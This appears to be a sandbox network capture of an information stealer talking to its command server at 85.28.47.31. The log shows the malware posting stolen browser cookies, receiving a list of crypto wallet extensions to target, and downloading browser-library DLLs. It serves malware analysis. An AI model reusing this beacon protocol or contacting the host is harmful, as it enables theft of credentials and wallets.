73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="message"fplugins------AFCBAEBAEBFHCAKFCAKE--
Jul 26, 2024 10:36:06.562747955 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 26, 2024 10:36:06.654150963 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 85.28.47.31 Content-Length: 5627 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:36:06.654150963 CEST	5627	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 26, 2024 10:36:07.249979973 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:07.549429893 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:07.768696070 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 26, 2024 10:36:07.768713951 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 26, 2024 10:36:07.768728971 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 26, 2024 10:36:07.768838882 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 26, 2024 10:36:09.207175016 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CAKFIJDHJEGIDHJKKKJJ--
Jul 26, 2024 10:36:09.793848038 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:09.877300978 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--
Jul 26, 2024 10:36:10.431763887 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:11.230101109 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 36 34 31 35 64 39 30 34 61 33 64 34 32 64 35 61 38 65 36 66 33 63 34 62 39 61 64 61 34 37 38 33 63 32 33 62 35 64 37 61 64 33 63 61 62 64 31 66 39 39 30 62 30 64 61 36 64 33 66 33 32 34 35 33 32 64 64 63 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"66415d904a3d42d5a8e6f3c4b9ada4783c23b5d7ad3cabd1f990b0da6d3f324532ddc765------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file"------CGCFCFBKFCFCBGDGIEGH--
Jul 26, 2024 10:36:11.799637079 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:36:12.229024887 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:12.420197010 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 26, 2024 10:36:13.137593031 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:13.318948984 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 26, 2024 10:36:13.749391079 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:13.939184904 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 26, 2024 10:36:14.258074045 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:14.449245930 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 26, 2024 10:36:16.030916929 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:16.213705063 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 26, 2024 10:36:16.422075987 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 10:36:16.604156017 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 26, 2024 10:36:17.062241077 CEST	198	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 85.28.47.31 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:36:17.618555069 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:36:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
